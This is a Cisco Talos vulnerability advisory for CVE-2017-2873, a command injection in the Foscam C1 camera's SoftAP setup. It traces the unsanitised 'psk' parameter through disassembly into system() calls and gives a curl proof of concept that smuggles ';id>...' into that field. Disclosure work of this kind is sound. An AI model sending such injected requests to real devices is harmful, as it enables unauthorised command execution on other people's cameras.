CVE-2017-2873
An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.43. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters during the SoftAP configuration resulting in command injection. An attacker can simply send an HTTP request to the device to trigger this vulnerability.
Foscam. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.18 Application Firmware Version: 2.52.2.43 Plug-In Version: 3.3.0.26
http://www.foscam.com/downloads/index.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
The device allows for configuring a SoftAP to enable users to configure the camera for the first time via WiFi. This feature is configurable using the web interface.
HTTP requests are first handled by the “CGIProxy.fcgi” process, that will dispatch messages to the interested component.
When handling the command “setSoftApConfig”, the function sub_35FCC
in the “webService” binary will be called. A user account with privilege level 2 (administrator) is needed to invoke this command.
The function extracts the parameters from the query [1], then it ensures that the “psk” parameter is at least 7 characters long [2] and that it doesn’t contain “\n” or “\r” characters [3]. Finally the request is forwarded to another component, using the message code “0x607F” [4].
```
.text:00035FCC sub_35FCC
.text:00035FCC
.text:00035FCC F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
...
.text:00036024 A0 11 9F E5 LDR R1, =aCallbackjson ; "callbackJson"
.text:00036028 06 20 A0 E1 MOV R2, R6
.text:0003602C 01 3B 83 E2 ADD R3, R3, #0x400
.text:00036030 04 00 A0 E1 MOV R0, R4
.text:00036034 7F CA FF EB BL extract_param ; [1]
.text:00036038 4B 5E 8D E2 ADD R5, SP, #0x4D8+var_28
.text:0003603C 8C 11 9F E5 LDR R1, =aSsid ; "ssid"
.text:00036040 07 20 A0 E1 MOV R2, R7
.text:00036044 40 30 A0 E3 MOV R3, #0x40
.text:00036048 04 00 A0 E1 MOV R0, R4
.text:0003604C 4A AE 8D E2 ADD R10, SP, #0x4D8+var_38
.text:00036050 78 CA FF EB BL extract_param ; [1]
.text:00036054 08 A0 8A E2 ADD R10, R10, #8
.text:00036058 74 11 9F E5 LDR R1, =aAuthmode ; "authMode"
.text:0003605C 05 20 A0 E1 MOV R2, R5
.text:00036060 08 30 A0 E3 MOV R3, #8
.text:00036064 04 00 A0 E1 MOV R0, R4
.text:00036068 72 CA FF EB BL extract_param ; [1]
.text:0003606C 48 80 87 E2 ADD R8, R7, #0x48
.text:00036070 60 11 9F E5 LDR R1, =aEncrypttype ; "encryptType"
.text:00036074 0A 20 A0 E1 MOV R2, R10
.text:00036078 08 30 A0 E3 MOV R3, #8
.text:0003607C 04 00 A0 E1 MOV R0, R4
.text:00036080 6C CA FF EB BL extract_param ; [1]
.text:00036084 50 11 9F E5 LDR R1, =aPsk ; "psk"
.text:00036088 08 20 A0 E1 MOV R2, R8
.text:0003608C 40 30 A0 E3 MOV R3, #0x40
.text:00036090 04 00 A0 E1 MOV R0, R4
.text:00036094 67 CA FF EB BL extract_param ; [1]
.text:00036098 05 00 A0 E1 MOV R0, R5
.text:0003609C 21 75 FF EB BL atoi
.text:000360A0 60 04 8D E5 STR R0, [SP,#0x4D8+var_78]
.text:000360A4 0A 00 A0 E1 MOV R0, R10
.text:000360A8 1E 75 FF EB BL atoi
.text:000360AC 64 04 8D E5 STR R0, [SP,#0x4D8+var_74]
.text:000360B0 07 00 A0 E1 MOV R0, R7
.text:000360B4 75 72 FF EB BL strlen
.text:000360B8 5C 30 A0 E3 MOV R3, #0x5C
.text:000360BC 00 30 8D E5 STR R3, [SP,#0x4D8+var_4D8]
.text:000360C0 0D 20 A0 E3 MOV R2, #0xD
.text:000360C4 0A 30 A0 E3 MOV R3, #0xA
.text:000360C8 00 10 A0 E1 MOV R1, R0
.text:000360CC 07 00 A0 E1 MOV R0, R7
.text:000360D0 1D 75 FF EB BL _Z14IsContainCharsPKcihhh
.text:000360D4 00 00 50 E3 CMP R0, #0
.text:000360D8 09 00 00 1A BNE loc_36104
.text:000360DC 08 00 A0 E1 MOV R0, R8
.text:000360E0 6A 72 FF EB BL strlen
.text:000360E4 0A 30 A0 E3 MOV R3, #0xA
.text:000360E8 0D 20 A0 E3 MOV R2, #0xD
.text:000360EC 00 30 8D E5 STR R3, [SP,#0x4D8+var_4D8]
.text:000360F0 00 10 A0 E1 MOV R1, R0
.text:000360F4 08 00 A0 E1 MOV R0, R8
.text:000360F8 13 75 FF EB BL _Z14IsContainCharsPKcihhh ; [3]
.text:000360FC 00 50 50 E2 SUBS R5, R0, #0
.text:00036100 28 00 00 0A BEQ loc_361A8
...
.text:00036118 loc_36118
.text:00036118 88 30 A0 E3 MOV R3, #0x88
.text:0003611C 00 30 8D E5 STR R3, [SP,#0x4D8+var_4D8]
.text:00036120 BC 10 9F E5 LDR R1, =0x607F
.text:00036124 05 20 A0 E1 MOV R2, R5
.text:00036128 07 30 A0 E1 MOV R3, R7
.text:0003612C B4 00 9F E5 LDR R0, =unk_A2FCC
.text:00036130 04 50 8D E5 STR R5, [SP,#0x4D8+var_4D4]
.text:00036134 08 50 8D E5 STR R5, [SP,#0x4D8+var_4D0]
.text:00036138 0C 50 8D E5 STR R5, [SP,#0x4D8+var_4CC]
.text:0003613C D1 72 FF EB BL _ZN10CMsgClient7sendMsgEicPKciiiPc ; [4]
...
.text:000361A8 loc_361A8
.text:000361A8 08 00 A0 E1 MOV R0, R8
.text:000361AC 37 72 FF EB BL strlen ; [2]
.text:000361B0 07 00 50 E3 CMP R0, #7
.text:000361B4 E6 FF FF 9A BLS loc_36154
.text:000361B8 D6 FF FF EA B loc_36118
```
Message code “0x607F” is handled by the function OnDevMngMsgSetSoftApConfig
in the “devMng” binary.
This function copies a fixed SSID and the user-supplied PSK into the “CNetworkService” object [5]. Then at [6] it calls another function that modifies the configuration file of the SoftAP.
```
.text:00019FB0 sub_19FB0
.text:00019FB0
.text:00019FB0 F0 40 2D E9 STMFD SP!, {R4-R7,LR}
.text:00019FB4 74 30 9F E5 LDR R3, =0x2DB
.text:00019FB8 94 D0 4D E2 SUB SP, SP, #0x94
.text:00019FBC 00 30 8D E5 STR R3, [SP,#0xA8+var_A8]
.text:00019FC0 6C 50 9F E5 LDR R5, =dword_87638
.text:00019FC4 6C 30 9F E5 LDR R3, =aOndevmngmsg_24 ; "OnDevMngMsgSetSoftApConfig"
...
.text:00019FE8 48 70 84 E2 ADD R7, R4, #0x48
.text:00019FEC 04 10 A0 E1 MOV R1, R4
.text:00019FF0 05 00 A0 E1 MOV R0, R5
.text:00019FF4 F7 83 00 EB BL sub_3AFD8 ; [5]
...
.text:0001A024 C6 8F 00 EB BL sub_3DF44 ; [6]
.text:0001A028 94 D0 8D E2 ADD SP, SP, #0x94
.text:0001A02C F0 80 BD E8 LDMFD SP!, {R4-R7,PC}
```
sub_3DF44
copies again SSID and PSK and calls sub_4519C
which is in charge of actually configuring the SoftAP.
This function first updates the file “/mnt/mtd/app/config/SoftApConfig.xml” at [7] with the new SoftAP parameters, then it proceeds to update “/mnt/mtd/app/etc/RT2870AP.dat”. This is done using the command sed
via a call to system
[8].
```
.text:0004519C sub_4519C
.text:0004519C
.text:0004519C 30 40 2D E9 STMFD SP!, {R4,R5,LR}
.text:000451A0 20 10 A0 E3 MOV R1, #0x20
.text:000451A4 75 DF 4D E2 SUB SP, SP, #0x1D4
.text:000451A8 00 40 A0 E1 MOV R4, R0
.text:000451AC 10 00 A0 E3 MOV R0, #0x10
.text:000451B0 E7 5B FF EB BL _ZStorSt13_Ios_OpenmodeS_
.text:000451B4 04 50 8D E2 ADD R5, SP, #0x1E0+var_1DC
.text:000451B8 00 10 A0 E1 MOV R1, R0
.text:000451BC 05 00 A0 E1 MOV R0, R5
.text:000451C0 B4 FF FF EB BL sub_45098 ; [7]
...
.text:00045224 05 00 A0 E1 MOV R0, R5
.text:00045228 E8 10 9F E5 LDR R1, =aSedISSsid_Ss_0 ; "sed -i \"s/^SSID.*$/SSID=\"%s\"/g\" %s"
.text:0004522C 00 20 94 E5 LDR R2, [R4]
.text:00045230 E4 30 9F E5 LDR R3, =aMntMtdAppEtcRt ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:00045234 B3 36 FF EB BL sprintf
.text:00045238 05 00 A0 E1 MOV R0, R5
.text:0004523C 20 34 FF EB BL system ; [8]
.text:00045240 04 20 94 E5 LDR R2, [R4,#4]
.text:00045244 D4 30 9F E5 LDR R3, =off_87060
.text:00045248 46 5F 8D E2 ADD R5, SP, #0x1E0+s
.text:0004524C 02 21 93 E7 LDR R2, [R3,R2,LSL#2]
.text:00045250 05 00 A0 E1 MOV R0, R5
.text:00045254 C8 10 9F E5 LDR R1, =aSedISAuthmode_ ; "sed -i \"s/^AuthMode.*$/AuthMode=%s/g\""...
.text:00045258 BC 30 9F E5 LDR R3, =aMntMtdAppEtcRt ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:0004525C A9 36 FF EB BL sprintf
.text:00045260 05 00 A0 E1 MOV R0, R5
.text:00045264 16 34 FF EB BL system ; [8]
.text:00045268 08 20 94 E5 LDR R2, [R4,#8]
.text:0004526C B4 30 9F E5 LDR R3, =off_8704C
.text:00045270 46 5F 8D E2 ADD R5, SP, #0x1E0+s
.text:00045274 02 21 93 E7 LDR R2, [R3,R2,LSL#2]
.text:00045278 05 00 A0 E1 MOV R0, R5
.text:0004527C A8 10 9F E5 LDR R1, =aSedISEncryptyp ; "sed -i \"s/^EncrypType.*$/EncrypType=%s"...
.text:00045280 94 30 9F E5 LDR R3, =aMntMtdAppEtcRt ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:00045284 9F 36 FF EB BL sprintf
.text:00045288 05 00 A0 E1 MOV R0, R5
.text:0004528C 0C 34 FF EB BL system ; [8]
.text:00045290 46 5F 8D E2 ADD R5, SP, #0x1E0+s
.text:00045294 05 00 A0 E1 MOV R0, R5
.text:00045298 90 10 9F E5 LDR R1, =aSedISWpapsk_Wp ; "sed -i \"s/^WPAPSK.*$/WPAPSK=\"%s\"/g\""...
.text:0004529C 0C 20 94 E5 LDR R2, [R4,#0xC] ; [9]
.text:000452A0 74 30 9F E5 LDR R3, =aMntMtdAppEtcRt ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:000452A4 97 36 FF EB BL sprintf
.text:000452A8 05 00 A0 E1 MOV R0, R5
.text:000452AC 04 34 FF EB BL system ; [8]
.text:000452B0 46 4F 8D E2 ADD R4, SP, #0x1E0+s
.text:000452B4 04 00 A0 E1 MOV R0, R4
.text:000452B8 74 10 9F E5 LDR R1, =aCpSS ; "cp %s %s"
.text:000452BC 58 20 9F E5 LDR R2, =aMntMtdAppEtcRt ; "/mnt/mtd/app/etc/RT2870AP.dat"
.text:000452C0 70 30 9F E5 LDR R3, =aEtcWirelessRt2 ; "/etc/Wireless/RT2870AP/RT2870AP.dat"
.text:000452C4 8F 36 FF EB BL sprintf
.text:000452C8 04 00 A0 E1 MOV R0, R4
.text:000452CC FC 33 FF EB BL system
```
Since the PSK parameter at [9] is controlled by the user, an attacker could exploit this bug to inject arbitrary shell commands.
This vulnerability is reachable by the “setSoftApConfig” command and requires a valid user account with administrator privileges. The following proof of concept shows how to execute an arbitrary command.
```
$ sUsr="admin"
$ sPwd=""
$ sCmd=";id>/tmp/www/injected;"
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?cmd=setSoftApConfig&usr=${sUsr}&pwd=${sPwd}&psk=${sCmd}"
```
2017-07-13 - Vendor Disclosure
2017-11-13 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.